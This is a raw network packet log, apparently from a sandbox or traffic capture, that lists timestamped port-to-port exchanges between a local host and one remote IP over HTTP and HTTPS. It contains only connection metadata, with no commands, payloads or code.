Jan 14, 2025 08:24:14.338304043 CET	49748	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:14.341144085 CET	49748	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:14.341173887 CET	443	49748	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:14.341548920 CET	443	49748	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:14.343301058 CET	49748	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:14.387332916 CET	443	49748	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:14.918643951 CET	443	49748	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:14.918957949 CET	443	49748	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:14.919023991 CET	49748	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:14.919102907 CET	49748	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:14.919123888 CET	443	49748	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:14.919138908 CET	49748	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:14.919146061 CET	443	49748	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:15.054723978 CET	49759	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:15.059608936 CET	80	49759	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:15.059685946 CET	49759	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:15.059834957 CET	49759	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:15.064657927 CET	80	49759	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:15.064707994 CET	49759	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:15.077289104 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:15.082217932 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:15.387444973 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:15.388695002 CET	49761	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:15.388732910 CET	443	49761	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:15.388787985 CET	49761	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:15.389072895 CET	49761	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:15.389086962 CET	443	49761	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:15.434194088 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:16.296324968 CET	443	49761	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:16.296520948 CET	49761	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:16.297971010 CET	49761	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:16.297983885 CET	443	49761	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:16.298249006 CET	443	49761	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:16.299474001 CET	49761	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:16.347337008 CET	443	49761	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:16.893853903 CET	443	49761	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:16.894356966 CET	443	49761	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:16.894412994 CET	49761	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:16.894573927 CET	49761	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:16.894593000 CET	443	49761	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:16.894608021 CET	49761	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:16.894620895 CET	443	49761	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:17.024601936 CET	49776	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:17.029465914 CET	80	49776	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:17.029548883 CET	49776	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:17.029668093 CET	49776	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:17.034689903 CET	80	49776	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:17.034734964 CET	49776	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:17.072043896 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:17.076915979 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:17.383162975 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:17.384628057 CET	49777	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:17.384669065 CET	443	49777	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:17.384891987 CET	49777	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:17.385114908 CET	49777	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:17.385127068 CET	443	49777	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:17.425278902 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:18.280972958 CET	443	49777	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:18.281135082 CET	49777	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:18.282535076 CET	49777	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:18.282546997 CET	443	49777	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:18.283329964 CET	443	49777	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:18.284749031 CET	49777	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:18.327333927 CET	443	49777	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:18.863143921 CET	443	49777	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:18.863367081 CET	443	49777	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:18.863457918 CET	49777	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:18.864362001 CET	49777	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:18.864362001 CET	49777	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:18.864384890 CET	443	49777	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:18.864396095 CET	443	49777	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:18.995804071 CET	49788	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:19.000689983 CET	80	49788	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:19.000771046 CET	49788	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:19.000916004 CET	49788	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:19.002906084 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:19.005743027 CET	80	49788	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:19.005805969 CET	49788	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:19.007738113 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:19.313546896 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:19.315087080 CET	49794	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:19.315123081 CET	443	49794	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:19.315315008 CET	49794	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:19.315608025 CET	49794	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:19.315623999 CET	443	49794	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:19.366194963 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:20.231070042 CET	443	49794	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:20.231334925 CET	49794	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:20.232530117 CET	49794	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:20.232541084 CET	443	49794	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:20.233302116 CET	443	49794	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:20.234534979 CET	49794	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:20.275331974 CET	443	49794	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:20.818475008 CET	443	49794	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:20.818674088 CET	443	49794	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:20.818862915 CET	49794	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:20.819627047 CET	49794	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:20.819627047 CET	49794	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:20.819649935 CET	443	49794	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:20.819660902 CET	443	49794	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:20.946139097 CET	49805	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:20.951013088 CET	80	49805	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:20.951150894 CET	49805	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:20.951303005 CET	49805	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:20.953970909 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:20.956310034 CET	80	49805	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:20.956387043 CET	49805	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:20.958687067 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:21.264297009 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:21.265737057 CET	49806	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:21.265779972 CET	443	49806	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:21.265878916 CET	49806	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:21.266254902 CET	49806	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:21.266268015 CET	443	49806	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:21.317154884 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:22.181969881 CET	443	49806	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:22.182065010 CET	49806	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:22.183233976 CET	49806	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:22.183245897 CET	443	49806	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:22.184026957 CET	443	49806	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:22.185293913 CET	49806	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:22.231328011 CET	443	49806	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:22.761033058 CET	443	49806	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:22.761260986 CET	443	49806	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:22.761409998 CET	49806	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:22.761467934 CET	49806	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:22.761486053 CET	443	49806	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:22.761492968 CET	49806	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:22.761497974 CET	443	49806	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:22.891904116 CET	49817	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:22.896785021 CET	80	49817	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:22.897603989 CET	49817	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:22.903253078 CET	49817	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:22.905419111 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:22.908088923 CET	80	49817	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:22.908297062 CET	49817	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:22.910203934 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:23.215960026 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:23.217375994 CET	49824	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:23.217420101 CET	443	49824	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:23.217495918 CET	49824	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:23.217899084 CET	49824	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:23.217911959 CET	443	49824	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:23.260225058 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:24.136075974 CET	443	49824	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:24.136166096 CET	49824	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:24.137598991 CET	49824	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:24.137610912 CET	443	49824	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:24.137918949 CET	443	49824	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:24.139236927 CET	49824	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:24.179332972 CET	443	49824	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:24.810692072 CET	443	49824	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:24.810837984 CET	443	49824	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:24.810916901 CET	49824	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:24.811741114 CET	49824	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:24.811759949 CET	443	49824	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:24.811775923 CET	49824	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:24.811781883 CET	443	49824	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:24.941593885 CET	49837	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:24.946469069 CET	80	49837	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:24.946647882 CET	49837	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:24.946647882 CET	49837	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:24.948091984 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:24.951738119 CET	80	49837	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:24.951859951 CET	49837	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:24.952935934 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:25.259886026 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:25.261337996 CET	49841	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:25.261445045 CET	443	49841	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:25.261533022 CET	49841	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:25.261862993 CET	49841	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:25.261898994 CET	443	49841	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:25.300165892 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:26.166160107 CET	443	49841	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:26.166228056 CET	49841	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:26.167445898 CET	49841	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:26.167476892 CET	443	49841	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:26.167723894 CET	443	49841	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:26.176325083 CET	49841	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:26.223335981 CET	443	49841	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:26.759083986 CET	443	49841	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:26.759504080 CET	443	49841	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:26.759581089 CET	49841	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:26.759643078 CET	49841	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:26.759680986 CET	443	49841	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:26.759710073 CET	49841	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:26.759726048 CET	443	49841	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:26.886847019 CET	49855	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:26.891772985 CET	80	49855	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:26.891931057 CET	49855	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:26.892167091 CET	49855	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:26.894489050 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:26.896996975 CET	80	49855	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:26.899305105 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:26.899377108 CET	49855	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:27.204391003 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:27.205815077 CET	49856	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:27.205861092 CET	443	49856	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:27.205964088 CET	49856	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:27.206336975 CET	49856	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:27.206356049 CET	443	49856	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:27.256155014 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:28.131614923 CET	443	49856	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:28.131819963 CET	49856	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:28.132930994 CET	49856	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:28.132945061 CET	443	49856	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:28.133716106 CET	443	49856	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:28.141330004 CET	49856	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:28.187341928 CET	443	49856	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:28.723890066 CET	443	49856	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:28.723980904 CET	443	49856	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:28.724035978 CET	49856	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:28.724096060 CET	49856	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:28.724109888 CET	443	49856	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:28.724119902 CET	49856	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:28.724127054 CET	443	49856	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:28.858946085 CET	49866	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:28.863858938 CET	80	49866	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:28.864029884 CET	49866	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:28.864157915 CET	49866	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:28.865905046 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:28.869220972 CET	80	49866	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:28.869373083 CET	49866	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:28.870698929 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:29.176359892 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:29.177685976 CET	49871	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:29.177723885 CET	443	49871	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:29.177800894 CET	49871	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:29.178109884 CET	49871	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:29.178127050 CET	443	49871	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:29.218208075 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:30.078778028 CET	443	49871	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:30.078952074 CET	49871	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:30.080260038 CET	49871	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:30.080266953 CET	443	49871	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:30.081037045 CET	443	49871	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:30.084522009 CET	49871	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:30.127337933 CET	443	49871	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:30.662108898 CET	443	49871	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:30.662374973 CET	443	49871	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:30.662439108 CET	49871	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:30.663156986 CET	49871	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:30.663166046 CET	443	49871	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:30.663182020 CET	49871	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:30.663187981 CET	443	49871	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:30.789196014 CET	49880	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:30.794138908 CET	80	49880	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:30.794253111 CET	49880	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:30.794428110 CET	49880	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:30.796313047 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:30.799308062 CET	80	49880	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:30.799377918 CET	49880	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:30.801212072 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:31.106925011 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:31.108355045 CET	49881	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:31.108405113 CET	443	49881	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:31.108479023 CET	49881	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:31.108846903 CET	49881	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:31.108865023 CET	443	49881	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:31.150276899 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:32.007038116 CET	443	49881	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:32.007116079 CET	49881	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:32.011558056 CET	49881	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:32.011579990 CET	443	49881	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:32.012403011 CET	443	49881	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:32.013696909 CET	49881	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:32.055340052 CET	443	49881	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:32.584136009 CET	443	49881	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:32.584656954 CET	443	49881	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:32.584712029 CET	49881	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:32.584933996 CET	49881	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:32.584953070 CET	443	49881	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:32.584969997 CET	49881	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:32.584975004 CET	443	49881	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:32.712943077 CET	49891	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:32.717777967 CET	80	49891	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:32.717868090 CET	49891	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:32.717993975 CET	49891	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:32.719608068 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:32.722908020 CET	80	49891	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:32.722964048 CET	49891	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:32.724389076 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:33.138227940 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:33.139930010 CET	49896	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:33.139977932 CET	443	49896	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:33.140077114 CET	49896	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:33.140443087 CET	49896	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:33.140465975 CET	443	49896	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:33.193169117 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:34.045527935 CET	443	49896	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:34.045605898 CET	49896	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:34.047125101 CET	49896	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:34.047135115 CET	443	49896	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:34.047377110 CET	443	49896	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:34.048634052 CET	49896	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:34.095333099 CET	443	49896	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:34.626360893 CET	443	49896	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:34.626619101 CET	443	49896	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:34.626684904 CET	49896	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:34.627667904 CET	49896	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:34.627667904 CET	49896	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:34.627687931 CET	443	49896	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:34.627698898 CET	443	49896	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:34.754168034 CET	49907	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:34.759090900 CET	80	49907	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:34.759186029 CET	49907	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:34.759468079 CET	49907	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:34.761452913 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:34.764337063 CET	80	49907	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:34.764461040 CET	49907	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:34.766285896 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:35.071767092 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:35.073137999 CET	49909	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:35.073158026 CET	443	49909	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:35.073256016 CET	49909	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:35.073594093 CET	49909	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:35.073610067 CET	443	49909	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:35.127167940 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:35.982641935 CET	443	49909	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:35.982748032 CET	49909	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:35.983946085 CET	49909	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:35.983953953 CET	443	49909	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:35.984286070 CET	443	49909	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:35.988179922 CET	49909	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:36.031352997 CET	443	49909	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:36.574266911 CET	443	49909	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:36.574862003 CET	443	49909	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:36.575508118 CET	49909	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:36.575566053 CET	49909	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:36.575584888 CET	443	49909	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:36.575603008 CET	49909	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:36.575612068 CET	443	49909	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:36.714101076 CET	49923	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:36.718938112 CET	80	49923	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:36.719023943 CET	49923	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:36.719219923 CET	49923	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:36.721414089 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:36.724037886 CET	80	49923	166.62.27.188	192.168.2.6
Jan 14, 2025 08:24:36.724097967 CET	49923	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:24:36.726241112 CET	80	49712	166.62.27.188	192.168.2.6
